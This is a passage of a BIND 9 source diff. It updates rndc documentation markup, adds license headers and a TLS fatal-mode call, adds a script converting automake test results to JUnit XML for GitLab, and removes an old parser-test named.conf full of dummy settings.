    ``named.secroots``, but can be overridden via the ``secroots-file``
-   option in ``named.conf``.
+   option in :iscman:`named.conf`.
 
-   See also ``rndc managed-keys``.
+   See also :option:`rndc managed-keys`.
 
-``serve-stale`` (**on** | **off** | **reset** | **status**) [*class* [*view*]]
-   This command enables, disables, resets, or reports the current status of the serving
-   of stale answers as configured in ``named.conf``.
+.. option:: serve-stale (on | off | reset | status) [class [view]]
 
-   If serving of stale answers is disabled by ``rndc-serve-stale off``,
-   then it remains disabled even if ``named`` is reloaded or
-   reconfigured. ``rndc serve-stale reset`` restores the setting as
-   configured in ``named.conf``.
+   This command enables, disables, resets, or reports the current status of
+   the serving of stale answers as configured in :iscman:`named.conf`.
 
-   ``rndc serve-stale status`` reports whether serving of stale
-   answers is currently enabled, disabled by the configuration, or
-   disabled by ``rndc``. It also reports the values of
+   If serving of stale answers is disabled by ``rndc-serve-stale off``, then it
+   remains disabled even if :iscman:`named` is reloaded or reconfigured. ``rndc
+   serve-stale reset`` restores the setting as configured in :iscman:`named.conf`.
+
+   ``rndc serve-stale status`` reports whether caching and serving of stale
+   answers is currently enabled or disabled. It also reports the values of
    ``stale-answer-ttl`` and ``max-stale-ttl``.
 
-``showzone`` *zone* [*class* [*view*]]
+.. option:: showzone zone [class [view]]
+
    This command prints the configuration of a running zone.
 
-   See also ``rndc zonestatus``.
+   See also :option:`rndc zonestatus`.
+
+.. option:: sign zone [class [view]]
 
-``sign`` *zone* [*class* [*view*]]
    This command fetches all DNSSEC keys for the given zone from the key directory (see
    the ``key-directory`` option in the BIND 9 Administrator Reference
    Manual). If they are within their publication period, they are merged into
    the zone's DNSKEY RRset. If the DNSKEY RRset is changed, then the
    zone is automatically re-signed with the new key set.
 
-   This command requires that the zone be configured with a ``dnssec-policy``, or
-   that the ``auto-dnssec`` zone option be set to ``allow`` or ``maintain``,
-   and also requires the zone to be configured to allow dynamic DNS. (See
-   "Dynamic Update Policies" in the BIND 9 Administrator Reference Manual for more
-   details.)
+   This command requires that the zone be configured with a ``dnssec-policy``, and
+   also requires the zone to be configured to allow dynamic DNS. (See "Dynamic
+   Update Policies" in the Administrator Reference Manual for more details.)
+
+   See also :option:`rndc loadkeys`.
 
-   See also ``rndc loadkeys``.
+.. option:: signing [(-list | -clear keyid/algorithm | -clear all | -nsec3param (parameters | none) | -serial value) zone [class [view]]
 
-``signing`` [(**-list** | **-clear** *keyid/algorithm* | **-clear** *all* | **-nsec3param** ( *parameters* | none ) | **-serial** *value* ) *zone* [*class* [*view*]]
    This command lists, edits, or removes the DNSSEC signing-state records for the
    specified zone. The status of ongoing DNSSEC operations, such as
    signing or generating NSEC3 chains, is stored in the zone in the form
@@ -476,15 +537,17 @@ Currently supported commands are:
    depending on whether the opt-out bit in the NSEC3
    chain should be set. ``iterations`` defines the number of additional times to apply
    the algorithm when generating an NSEC3 hash. The ``salt`` is a string
-   of data expressed in hexadecimal, a hyphen (`-') if no salt is to be
-   used, or the keyword ``auto``, which causes ``named`` to generate a
+   of data expressed in hexadecimal, a hyphen (``-``) if no salt is to be
+   used, or the keyword ``auto``, which causes :iscman:`named` to generate a
    random 64-bit salt.
 
-   So, for example, to create an NSEC3 chain using the SHA-1 hash
-   algorithm, no opt-out flag, 10 iterations, and a salt value of
-   "FFFF", use: ``rndc signing -nsec3param 1 0 10 FFFF zone``. To set
-   the opt-out flag, 15 iterations, and no salt, use:
-   ``rndc signing -nsec3param 1 1 15 - zone``.
+   The only recommended configuration is ``rndc signing -nsec3param 1 0 0 - zone``,
+   i.e. no salt, no additional iterations, no opt-out.
+
+   .. warning::
+      Do not use extra iterations, salt, or opt-out unless all their implications
+      are fully understood. A higher number of iterations causes interoperability
+      problems and opens servers to CPU-exhausting DoS attacks.
 
    ``rndc signing -nsec3param none`` removes an existing NSEC3 chain and
    replaces it with NSEC.
@@ -494,31 +557,36 @@ Currently supported commands are:
    is rejected. The primary use of this parameter is to set the serial number on inline
    signed zones.
 
-``stats``
+.. option:: stats
+
    This command writes server statistics to the statistics file. (See the
    ``statistics-file`` option in the BIND 9 Administrator Reference
    Manual.)
 
-``status``
+.. option:: status
+
    This command displays the status of the server. Note that the number of zones includes
    the internal ``bind/CH`` zone and the default ``./IN`` hint zone, if
    there is no explicit root zone configured.
 
-``stop`` **-p**
+.. option:: stop -p
+
    This command stops the server, making sure any recent changes made through dynamic
    update or IXFR are first saved to the master files of the updated
-   zones. If ``-p`` is specified, ``named(8)`'s process ID is returned.
-   This allows an external process to determine when ``named`` has
+   zones. If ``-p`` is specified, :iscman:`named`'s process ID is returned.
+   This allows an external process to determine when :iscman:`named` has
    completed stopping.
 
-   See also ``rndc halt``.
+   See also :option:`rndc halt`.
+
+.. option:: sync -clean [zone [class [view]]]
 
-``sync`` **-clean** [*zone* [*class* [*view*]]]
    This command syncs changes in the journal file for a dynamic zone to the master
    file. If the "-clean" option is specified, the journal file is also
    removed. If no zone is specified, then all zones are synced.
 
-``tcp-timeouts`` [*initial* *idle* *keepalive* *advertised*]
+.. option:: tcp-timeouts [initial idle keepalive advertised]
+
    When called without arguments, this command displays the current values of the
    ``tcp-initial-timeout``, ``tcp-idle-timeout``,
    ``tcp-keepalive-timeout``, and ``tcp-advertised-timeout`` options.
@@ -527,7 +595,8 @@ Currently supported commands are:
    denial-of-service (DoS) attack. See the descriptions of these options in the BIND 9
    Administrator Reference Manual for details of their use.
 
-``thaw`` [*zone* [*class* [*view*]]]
+.. option:: thaw [zone [class [view]]]
+
    This command enables updates to a frozen dynamic zone. If no zone is specified,
    then all frozen zones are enabled. This causes the server to reload
    the zone from disk, and re-enables dynamic updates after the load has
@@ -537,33 +606,33 @@ Currently supported commands are:
    changes in the zone. Otherwise, if the zone has changed, any existing
    journal file is removed.
 
-   See also ``rndc freeze``.
+   See also :option:`rndc freeze`.
+
+.. option:: trace [level]
 
-``trace``
-   This command increments the server's debugging level by one.
+   If no level is specified, this command increments the server's debugging
+   level by one.
 
-``trace`` *level*
-   This command sets the server's debugging level to an explicit value.
+   .. program:: rndc trace
+   .. option:: level
 
-   See also ``rndc notrace``.
+      If specified, this command sets the server's debugging level to the
+      provided value.
 
-``tsig-delete`` *keyname* [*view*]
-   This command deletes a given TKEY-negotiated key from the server. This does not
-   apply to statically configured TSIG keys.
+   See also :option:`rndc notrace`.
 
-``tsig-list``
-   This command lists the names of all TSIG keys currently configured for use by
-   ``named`` in each view. The list includes both statically configured keys and
-   dynamic TKEY-negotiated keys.
+.. program:: rndc
+
+.. option:: validation (on | off | status) [view ...]
 
-``validation`` (**on** | **off** | **status**) [*view* ...]``
    This command enables, disables, or checks the current status of DNSSEC validation. By
    default, validation is enabled.
 
    The cache is flushed when validation is turned on or off to avoid using data
    that might differ between states.
 
-``zonestatus`` *zone* [*class* [*view*]]
+.. option:: zonestatus zone [class [view]]
+
    This command displays the current status of the given zone, including the master
    file name and any include files from which it was loaded, when it was
    most recently loaded, the current serial number, the number of nodes,
@@ -571,10 +640,10 @@ Currently supported commands are:
    signed, whether it uses automatic DNSSEC key management or inline
    signing, and the scheduled refresh or expiry times for the zone.
 
-   See also ``rndc showzone``.
+   See also :option:`rndc showzone`.
 
-``rndc`` commands that specify zone names, such as ``reload``,
-``retransfer``, or ``zonestatus``, can be ambiguous when applied to zones
+:program:`rndc` commands that specify zone names, such as :option:`reload`
+:option:`retransfer`, or :option:`zonestatus`, can be ambiguous when applied to zones
 of type ``redirect``. Redirect zones are always called ``.``, and can be
 confused with zones of type ``hint`` or with secondary copies of the root
 zone. To specify a redirect zone, use the special zone name
@@ -584,7 +653,7 @@ would specify a zone called "-redirect".)
 Limitations
 ~~~~~~~~~~~
 
-There is currently no way to provide the shared secret for a ``key_id``
+There is currently no way to provide the shared secret for a ``server_key``
 without using the configuration file.
 
 Several error messages could be clearer.
@@ -592,6 +661,6 @@ Several error messages could be clearer.
 See Also
 ~~~~~~~~
 
-:manpage:`rndc.conf(5)`, :manpage:`rndc-confgen(8)`,
-:manpage:`named(8)`, :manpage:`named.conf(5)`, :manpage:`ndc(8)`, BIND 9 Administrator
+:iscman:`rndc.conf(5) <rndc.conf>`, :iscman:`rndc-confgen(8) <rndc-confgen>`,
+:iscman:`named(8) <named>`, :iscman:`named.conf(5) <named.conf>`, BIND 9 Administrator
 Reference Manual.
diff --git a/bin/rndc/util.c b/bin/rndc/util.c
index 70afa2bc09..23b7f3fd57 100644
--- a/bin/rndc/util.c
+++ b/bin/rndc/util.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,7 +19,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 
-#include <isc/print.h>
+#include <isc/tls.h>
 
 extern bool verbose;
 extern const char *progname;
@@ -43,5 +45,6 @@ fatal(const char *format, ...) {
 	vfprintf(stderr, format, args);
 	va_end(args);
 	fprintf(stderr, "\n");
+	isc__tls_setfatalmode();
 	exit(1);
 }
diff --git a/bin/rndc/util.h b/bin/rndc/util.h
index 3426e70b7e..4ac83e5143 100644
--- a/bin/rndc/util.h
+++ b/bin/rndc/util.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,15 +11,13 @@
  * information regarding copyright ownership.
  */
 
-#ifndef RNDC_UTIL_H
-#define RNDC_UTIL_H 1
+#pragma once
 
 /*! \file */
 
 #include <isc/attributes.h>
 #include <isc/formatcheck.h>
 #include <isc/lang.h>
-#include <isc/platform.h>
 
 #define NS_CONTROL_PORT 953
 
@@ -36,9 +36,7 @@ ISC_LANG_BEGINDECLS
 void
 notify(const char *fmt, ...) ISC_FORMAT_PRINTF(1, 2);
 
-ISC_NORETURN void
+noreturn void
 fatal(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
 ISC_LANG_ENDDECLS
-
-#endif /* RNDC_UTIL_H */
diff --git a/bin/tests/Makefile.am b/bin/tests/Makefile.am
index 5366cc4496..56e81b118a 100644
--- a/bin/tests/Makefile.am
+++ b/bin/tests/Makefile.am
@@ -1,5 +1,7 @@
 include $(top_srcdir)/Makefile.top
 
+EXTRA_DIST = convert-trs-to-junit.py
+
 SUBDIRS = system
 
 noinst_PROGRAMS =	\
@@ -7,6 +9,9 @@ noinst_PROGRAMS =	\
 	test_server	\
 	wire_test
 
+AM_CFLAGS +=			\
+	$(TEST_CFLAGS)
+
 test_client_CPPFLAGS =		\
 	$(AM_CPPFLAGS)		\
 	$(LIBISC_CFLAGS)
@@ -31,5 +36,3 @@ wire_test_CPPFLAGS =		\
 wire_test_LDADD =		\
 	$(LIBISC_LIBS)		\
 	$(LIBDNS_LIBS)
-
-EXTRA_DIST = prepare-softhsm2.sh
diff --git a/bin/tests/convert-trs-to-junit.py b/bin/tests/convert-trs-to-junit.py
new file mode 100755
index 0000000000..85b37dd629
--- /dev/null
+++ b/bin/tests/convert-trs-to-junit.py
@@ -0,0 +1,148 @@
+#!/usr/bin/env python
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# Convert automake .trs files into JUnit format suitable for Gitlab
+
+import argparse
+import os
+import sys
+from xml.etree import ElementTree
+from xml.etree.ElementTree import Element
+from xml.etree.ElementTree import SubElement
+
+
+# getting explicit encoding specification right for Python 2/3 would be messy,
+# so let's hope for the best
+def read_whole_text(filename):
+    with open(filename) as inf:  # pylint: disable-msg=unspecified-encoding
+        return inf.read().strip()
+
+
+def read_trs_result(filename):
+    result = None
+    with open(filename, "r") as trs:  # pylint: disable-msg=unspecified-encoding
+        for line in trs:
+            items = line.split()
+            if len(items) < 2:
+                raise ValueError("unsupported line in trs file", filename, line)
+            if items[0] != (":test-result:"):
+                continue
+            if result is not None:
+                raise NotImplementedError("double :test-result:", filename)
+            result = items[1].upper()
+
+    if result is None:
+        raise ValueError(":test-result: not found", filename)
+
+    return result
+
+
+def find_test_relative_path(source_dir, in_path):
+    """Return {in_path}.c if it exists, with fallback to {in_path}"""
+    candidates_relative = [in_path + ".c", in_path]
+    for relative in candidates_relative:
+        absolute = os.path.join(source_dir, relative)
+        if os.path.exists(absolute):
+            return relative
+    raise KeyError
+
+
+def err_out(exception):
+    raise exception
+
+
+def walk_trss(source_dir):
+    for cur_dir, _dirs, files in os.walk(source_dir, onerror=err_out):
+        for filename in files:
+            if not filename.endswith(".trs"):
+                continue
+
+            filename_prefix = filename[: -len(".trs")]
+            log_name = filename_prefix + ".log"
+            full_trs_path = os.path.join(cur_dir, filename)
+            full_log_path = os.path.join(cur_dir, log_name)
+            sub_dir = os.path.relpath(cur_dir, source_dir)
+            test_name = os.path.join(sub_dir, filename_prefix)
+
+            t = {
+                "name": test_name,
+                "full_log_path": full_log_path,
+                "rel_log_path": os.path.relpath(full_log_path, source_dir),
+            }
+            t["result"] = read_trs_result(full_trs_path)
+
+            # try to find dir/file path for a clickable link
+            try:
+                t["rel_file_path"] = find_test_relative_path(source_dir, test_name)
+            except KeyError:
+                pass  # no existing path found
+
+            yield t
+
+
+def append_testcase(testsuite, t):
+    # attributes taken from
+    # https://gitlab.com/gitlab-org/gitlab-foss/-/blob/master/lib/gitlab/ci/parsers/test/junit.rb
+    attrs = {"name": t["name"]}
+    if "rel_file_path" in t:
+        attrs["file"] = t["rel_file_path"]
+
+    testcase = SubElement(testsuite, "testcase", attrs)
+
+    # Gitlab accepts only [[ATTACHMENT| links for system-out, not raw text
+    s = SubElement(testcase, "system-out")
+    s.text = "[[ATTACHMENT|" + t["rel_log_path"] + "]]"
+    if t["result"].lower() == "pass":
+        return
+
+    # Gitlab shows output only for failed or skipped tests
+    if t["result"].lower() == "skip":
+        err = SubElement(testcase, "skipped")
+    else:
+        err = SubElement(testcase, "failure")
+    err.text = read_whole_text(t["full_log_path"])
+
+
+def gen_junit(results):
+    testsuites = Element("testsuites")
+    testsuite = SubElement(testsuites, "testsuite")
+    for test in results:
+        append_testcase(testsuite, test)
+    return testsuites
+
+
+def check_directory(path):
+    try:
+        os.listdir(path)
+        return path
+    except OSError as ex:
+        msg = "Path {} cannot be listed as a directory: {}".format(path, ex)
+        raise argparse.ArgumentTypeError(msg)
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description="Recursively search for .trs + .log files and compile "
+        "them into JUnit XML suitable for Gitlab. Paths in the "
+        "XML are relative to the specified top directory."
+    )
+    parser.add_argument(
+        "top_directory",
+        type=check_directory,
+        help="root directory where to start scanning for .trs files",
+    )
+    args = parser.parse_args()
+    junit = gen_junit(walk_trss(args.top_directory))
+
+    # encode results into file format, on Python 3 it produces bytes
+    xml = ElementTree.tostring(junit, "utf-8")
+    # use stdout as a binary file object, Python2/3 compatibility
+    output = getattr(sys.stdout, "buffer", sys.stdout)
+    output.write(xml)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/bin/tests/named.conf b/bin/tests/named.conf
deleted file mode 100644
index 6a5f6543ff..0000000000
--- a/bin/tests/named.conf
+++ /dev/null
@@ -1,609 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*
- * This is a worthless, nonrunnable example of a named.conf file that has
- * every conceivable syntax element in use.  We use it to test the parser.
- * It could also be used as a conceptual template for users of new features.
- */
-
-/*
- * C-style comments are OK
- */
-
-// So are C++-style comments
-
-# So are shell-style comments
-
-// watch out for ";" -- it's important!
-
-options {
-	version "my version string";
-	random-device "/dev/random";
-	directory "/tmp";
-
-	port 666;
-
-	sig-validity-interval 33;
-
-# Obsolete
-	named-xfer "/usr/libexec/named-xfer";	// _PATH_XFER
-
-	dump-file "named_dump.db";  	// _PATH_DUMPFILE
-	pid-file "/var/run/named.pid";  // _PATH_PIDFILE
-	statistics-file "named.stats";  // _PATH_STATS
-	memstatistics-file "named.memstats";	// _PATH_MEMSTATS
-
-	max-cache-ttl 999;
-	min-cache-ttl 66;
-	auth-nxdomain yes;		// always set AA on NXDOMAIN.
-					// don't set this to 'no' unless
-					// you know what you're doing -- older
-					// servers won't like it.
-
-# Obsolete
-	deallocate-on-exit no;
-
-	dialup yes;
-
-# Obsolete
-	fake-iquery no;
-
-	fetch-glue yes;
-	has-old-clients yes;
-	host-statistics no;
-
-# Obsolete
-	multiple-cnames no;		// if yes, then a name my have more
-					// than one CNAME RR.  This use
-					// is non-standard and is not
-					// recommended, but it is available
-					// because previous releases supported
-					// it and it was used by large sites
-					// for load balancing.
-
-	notify yes;			// send NOTIFY messages.  You can set
-					// notify on a zone-by-zone
-					// basis in the "zone" statement
-					// see (below)
-	recursion yes;
-	rfc2308-type1	no;
-
-# Obsolete
-	use-id-pool yes;
-
-# Obsolete
-	treat-cr-as-space yes;
-
-	also-notify { 10.0.2.3; };
-
-	// The "forward" option is only meaningful if you've defined
-	// forwarders.  "first" gives the normal BIND
-	// forwarding behavior, i.e. ask the forwarders first, and if that
-	// doesn't work then do the full lookup.  You can also say
-	// "forward only;" which is what used to be specified with
-	// "slave" or "options forward-only".  "only" will never attempt
-	// a full lookup; only the forwarders will be used.
-	forward first;
-	forwarders {
-		1.2.3.4;
-		5.6.7.8;
-	};
-
-	check-names master fail;
-	check-names slave warn;
-	check-names response ignore;
-
-	allow-query { any; };
-	allow-transfer { any; };
-	allow-recursion { !any; };
-	blackhole { 45/24; };
-	keep-response-order { 46/24; };
-
-	listen-on {
-		10/24;
-		10.0.0.3;
-	};
-
-	listen-on port 53 { any; };
-
-	listen-on { 5.6.7.8; };
-
-	listen-on port 1234 {
-		!1.2.3.4;
-		1.2.3/24;
-	};
-
-	listen-on-v6 {
-		1:1:1:1:1:1:1:1;
-	};
-
-	listen-on-v6 port 777 {
-		2:2:2:2:2:2:2:2;
-	};
-
-	query-source-v6 address 8:7:6:5:4:3:2:1 port *;
-	query-source port * address 10.0.0.54  ;
-
-	lame-ttl 444;
-
-	max-transfer-time-in 300;
-	max-transfer-time-out 10;
-	max-transfer-idle-in 100;
-	max-transfer-idle-out 11;
-
-	max-retry-time 1234;
-	min-retry-time 1111;
-	max-refresh-time 888;
-	min-refresh-time 777;
-
-	max-ncache-ttl 333;
-	min-ncache-ttl 22;
-	min-roots 15;
-	serial-queries 34;
-
-	transfer-format one-answer;
-
-	transfers-in 10;
-	transfers-per-ns 2;
-	transfers-out 0;
-
-	transfer-source 10.0.0.5;
-	transfer-source-v6 4:3:2:1:5:6:7:8;
-
-	request-ixfr yes;
-	provide-ixfr yes;
-
-# Now called 'provide-ixfr'
-#    maintain-ixfr-base no;   // If yes, keep transaction log file for IXFR
-
-	max-ixfr-log-size 20m;
-	coresize 100;
-	datasize 101;
-	files 230;
-	max-cache-size 1m;
-	stacksize 231;
-	heartbeat-interval 1001;
-	interface-interval 1002;
-	statistics-interval 1003;
-
-	topology {
-		10/8;
-
-		!1.2.3/24;
-
-		{ 1.2/16; 3/8; };
-
-
-	};
-
-	sortlist { 10/8; 11/8; };
-
-	tkey-domain	"foo.com";
-	tkey-dhkey	"xyz" 666 ;
-
-	rrset-order {
-		class IN type A name "foo" order random;
-		order cyclic;
-	};
-};
-
-/*
- * Control listeners, for "ndc".  Every nameserver needs at least one.
- */
-controls {
-	// 'inet' lines without a 'port' defaults to 'port 953'
-	// 'keys' must be used and the list must have at least one entry
-	inet * port 52 allow { any; } keys { "key2"; };
-	unix "/var/run/ndc" perm 0600 owner 0 group 0;	// ignored by named.
-	inet 10.0.0.1 allow { any; key foo; } keys { "key4";};
-	inet 10.0.0.2 allow { none; } keys { "key-1"; "key-2"; };
-	inet 10.0.0.2 allow { none; };
-};
-
-zone "master.demo.zone" {
-	type master;			// what used to be called "primary"
-	database "somedb -option1 -option2 arg1 arg2 arg3";
-	file "master.demo.zone";
-	check-names fail;
-	allow-update { none; };
-	allow-update-forwarding { 10.0.0.5; !any; };
-	allow-transfer { any; };
-	allow-query { any; };
-	sig-validity-interval 990;
-	notify explicit;
-	also-notify {  1.0.0.1; };	// don't notify any nameservers other
-					// than those on the NS list for this
-					// zone
-	forward first;
-	forwarders { 10.0.0.3; 1:2:3:4:5:6:7:8; };
-};
-
-zone "slave.demo.zone" {
-	type slave;			// what used to be called "secondary"
-	file "slave.demo.zone";
-	ixfr-base  "slave.demo.zone.ixfr";  // File name for IXFR transaction log file
-	masters {
-		1.2.3.4 port 10 key "foo"; // where to zone transfer from
-		5.6.7.8;
-		6.7.8.9 key "zippo";
-	};
-	transfer-source 10.0.0.53;	// fixes multihoming problems
-	check-names warn;
-	allow-update { none; };
-	allow-transfer { any; };
-	allow-update-forwarding { any; };
-	allow-query { any; };
-	max-transfer-time-in 120;	// if not set, global option is used.
-	max-transfer-time-out 1;	// if not set, global option is used.
-	max-transfer-idle-in 2;	// if not set, global option is used.
-	max-transfer-idle-out 3;	// if not set, global option is used.
-	also-notify { 1.0.0.2; };
-	forward only;
-	forwarders { 10.45.45.45; 10.0.0.3; 1:2:3:4:5:6:7:8; };
-};
-
-key "non-viewkey" { secret "YWFh" ; algorithm "zzz" ; };
-
-view "test-view" in {
-	key "viewkey" { algorithm "xxx" ; secret "eXl5" ; };
-	also-notify { 10.2.2.3; };
-	managed-keys {
-		foo.com. static 4 3 2 "abdefghijklmnopqrstuvwxyz";
-	};
-	sig-validity-interval 45;
-	max-cache-size 100000;
-	allow-query { 10.0.0.30;};
-	match-clients { 10.0.0.1 ; };
-	check-names master warn;
-	check-names slave ignore;
-	check-names response fail;
-	auth-nxdomain false;
-	recursion true;
-	provide-ixfr false;
-	request-ixfr true;
-	fetch-glue true;
-	notify false;
-	rfc2308-type1 false;
-	transfer-source 10.0.0.55;
-	transfer-source-v6 4:3:8:1:5:6:7:8;
-	query-source port * address 10.0.0.54  ;
-	query-source-v6 address 6:6:6:6:6:6:6:6 port *;
-	max-transfer-time-out 45;
-	max-transfer-idle-out 55;
-	min-roots 3;
-	lame-ttl 477;
-	max-ncache-ttl 333;
-	max-cache-ttl 777;
-	transfer-format many-answers;
-	max-retry-time 7;
-	min-retry-time 4;
-	max-refresh-time 999;
-	min-refresh-time 111;
-
-	zone "view-zone.com" {
-		type master;
-		allow-update-forwarding { 10.0.0.34;};
-		file "view-zone-master";
-	};
-
-	server 5.6.7.8 {
-		keys "viewkey";
-	};
-
-	server 10.9.8.7 {
-		keys "non-viewkey";
-	};
-	dialup yes;
-};
-
-
-zone "stub.demo.zone" {
-	type stub;			// stub zones are like slave zones,
-					// except that only the NS records
-					// are transferred.
-	dialup yes;
-	file "stub.demo.zone";
-	masters {
-		1.2.3.4 ;		// where to zone transfer from
-		5.6.7.8 port 999;
-	};
-	check-names warn;
-	allow-update { none; };
-	allow-transfer { any; };
-	allow-query { any; };
-
-	max-retry-time 10;
-	min-retry-time 11;
-	max-refresh-time 12;
-	min-refresh-time 13;
-
-	max-transfer-time-in 120;	// if not set, global option is used.
-	pubkey 257 255 1 "a useless key";
-	pubkey 257 255 1 "another useless key";
-};
-
-zone "." {
-	type hint;			// used to be specified w/ "cache"
-	file "cache.db";
-//	pubkey 257 255 1 "AQP2fHpZ4VMpKo/jc9Fod821uyfY5p8j5h/Am0V/KpBTMZjdXmp9QJe6yFRoIIzkaNCgTIftASdpXGgCwFB2j2KXP/rick6gvEer5VcDEkLR5Q==";
-};
-
-managed-keys {
-	"." static 257 255 1 "AQP2fHpZ4VMpKo/jc9Fod821uyfY5p8j5h/Am0V/KpBTMZjdXmp9QJe6yFRoIIzkaNCgTIftASdpXGgCwFB2j2KXP/rick6gvEer5VcDEkLR5Q==";
-};
-
-
-acl can_query { !1.2.3/24; any; };	// network 1.2.3.0 mask 255.255.255.0
-					// is disallowed; rest are OK
-acl can_axfr { 1.2.3.4; can_query; };	// host 1.2.3.4 and any host allowed
-					// by can_query are OK
-
-zone "disabled-zone.com" {
-	type master;
-	file "bar";
-
-	max-retry-time 100;
-	min-retry-time 110;
-	max-refresh-time 120;
-	min-refresh-time 130;
-};
-
-zone "non-default-acl.demo.zone" {
-	type master;
-	file "foo";
-	allow-query { can_query; };
-	allow-transfer { can_axfr; };
-	allow-update {
-		1.2.3.4;
-		5.6.7.8;
-	};
-	pubkey 666 665 664 "key of the beast";
-	// Errors trapped by parser:
-	//	identity or name not absolute
-	//	'wildcard' match type and no wildcard character in name
-	//
-	// issues:
-	//	- certain rdatatype values (such as "key") are config file keywords and
-	// 	  must be quoted or a syntax error will occur.
-	//
-
-	update-policy {
-		grant root.domain. subdomain host.domain. A MX CNAME;
-		grant sub.root.domain. wildcard *.host.domain. A;
-		grant root.domain. name host.domain. a ns md mf cname soa mb mg
-			mr "null" wks ptr hinfo minfo mx txt rp afsdb x25
-			isdn rt nsap sig "key" px gpos aaaa loc nxt srv naptr kx
-			cert a6 dname opt unspec uri tkey tsig ;
-		grant foo.bar.com. self foo.bar.com. a;
-	};
-};
-
-key sample_key {			// for TSIG; supported by parser
-	algorithm hmac-md5;		// but not yet implemented in the
-	secret "eW91ciBzZWNyZXQgaGVyZQ=="; // rest of the server
-};
-
-key key2 {
-	algorithm hmac-md5;
-	secret "ZXJlaCB0ZXJjZXMgcm91eQ==";
-};
-
-acl key_acl { key sample_key; };	// a request signed with sample_key
-
-server 1.2.3.4 {
-	request-ixfr no;
-	provide-ixfr no;
-	bogus no;			// if yes, we won't query or listen
-					// to this server
-	transfer-format one-answer;	// set transfer format for this
-					// server (see the description of
-					// 'transfer-format' above)
-					// if not specified, the global option
-					// will be used
-	transfers 0;			// not implemented
-	keys { "sample_key" };	// for TSIG; supported by the parser
-					// but not yet implemented in the
-					// rest of the server
-};
-
-logging {
-	/*
-	 * All log output goes to one or more "channels"; you can make as
-	 * many of them as you want.
-	 */
-
-	channel syslog_errors {		// this channel will send errors or
-		syslog user;		// or worse to syslog (user facility)
-		severity error;
-	};
-
-	channel stderr_errors {
-		stderr;
-	};
-
-	/*
-	 * Channels have a severity level.  Messages at severity levels
-	 * greater than or equal to the channel's level will be logged on
-	 * the channel.  In order of decreasing severity, the levels are:
-	 *
-	 * 	critical		a fatal error
-	 *	error
-	 *	warning
-	 *	notice			a normal, but significant event
-	 *	info			an informational message
-	 *	debug 1			the least detailed debugging info
-	 *	...
-	 *	debug 99		the most detailed debugging info
-	 */
-
-	/*
-	 * Here are the built-in channels:
-	 *
-	 * 	channel default_syslog {
-	 *		syslog daemon;
-	 *		severity info;
-	 *	};
-	 *
-	 *	channel default_debug {
-	 *		file "named.run";	// note: stderr is used instead
-	 *					// of "named.run" if the server
-	 *					// is started with the "-f"
-	 *					// option.
-	 *		severity dynamic;	// this means log debugging
-	 *					// at whatever debugging level
-	 *					// the server is at, and don't
-	 *					// log anything if not
-	 *					// debugging.
-	 *	};
-	 *
-	 *	channel null {			// this is the bit bucket;
-	 *		file "/dev/null";	// any logging to this channel
-	 *					// is discarded.
-	 *	};
-	 *
-	 *	channel default_stderr {	// writes to stderr
-	 *		file "<stderr>";	// this is illustrative only;
-	 *					// there's currently no way
-	 *					// of saying "stderr" in the
-	 *					// configuration language.
-	 *					// i.e. don't try this at home.
-	 *		severity info;
-	 *	};
-	 *
-	 *	default_stderr only works before the server daemonizes (i.e.
-	 *	during initial startup) or when it is running in foreground
-	 *	mode (-f command line option).
-	 */
-
-	/*
-	 * There are many categories, so you can send the logs
-	 * you want to see wherever you want, without seeing logs you
-	 * don't want.  Right now the categories are
-	 *
-	 *	default			the catch-all.  many things still
-	 *				aren't classified into categories, and
-	 *				they all end up here.  also, if you
-	 *				don't specify any channels for a
-	 *				category, the default category is used
-	 *				instead.
-	 *	config			high-level configuration file
-	 *				processing
-	 *	parser			low-level configuration file processing
-	 *	queries			what used to be called "query logging"
-	 *	lame-servers		messages like "Lame server on ..."
-	 *	statistics
-	 *	panic			if the server has to shut itself
-	 *				down due to an internal problem, it
-	 *				logs the problem here (as well as
-	 *				in the problem's native category)
-	 *	update			dynamic update
-	 *	ncache			negative caching
-	 *	xfer-in			zone transfers we're receiving
-	 *	xfer-out		zone transfers we're sending
-	 *	db			all database operations
-	 *	eventlib		debugging info from the event system
-	 *				(see below)
-	 *	packet			dumps of packets received and sent
-	 *				(see below)
-	 *	notify			the NOTIFY protocol
-	 *	cname			messages like "XX points to a CNAME"
-	 *	security		approved/unapproved requests
-	 *	os			operating system problems
-	 *	insist			consistency check failures
-	 *	maintenance		periodic maintenance
-	 *	load			zone loading
-	 *	response-checks		messages like
-	 *				"Malformed response ..."
-	 *				"wrong ans. name ..."
-	 *				"unrelated additional info ..."
-	 *				"invalid RR type ..."
-	 *				"bad referral ..."
-	 */
-
-	category parser {
-		syslog_errors;		// you can log to as many channels
-		default_syslog;		// as you want
-	};
-
-	category lame-servers { null; };	// don't log these at all
-
-	channel moderate_debug {
-		file "foo";			// foo
-		severity debug 3;		// level 3 debugging to file
-		print-time yes;			// timestamp log entries
-		print-category yes;		// print category name
-		print-severity yes;		// print severity level
-		/*
-		 * Note that debugging must have been turned on either
-		 * on the command line or with a signal to get debugging
-		 * output (non-debugging output will still be written to
-		 * this channel).
-		 */
-	};
-
-	channel another {
-		file "bar" versions 99 size 10M;
-		severity info;
-	};
-
-	channel third {
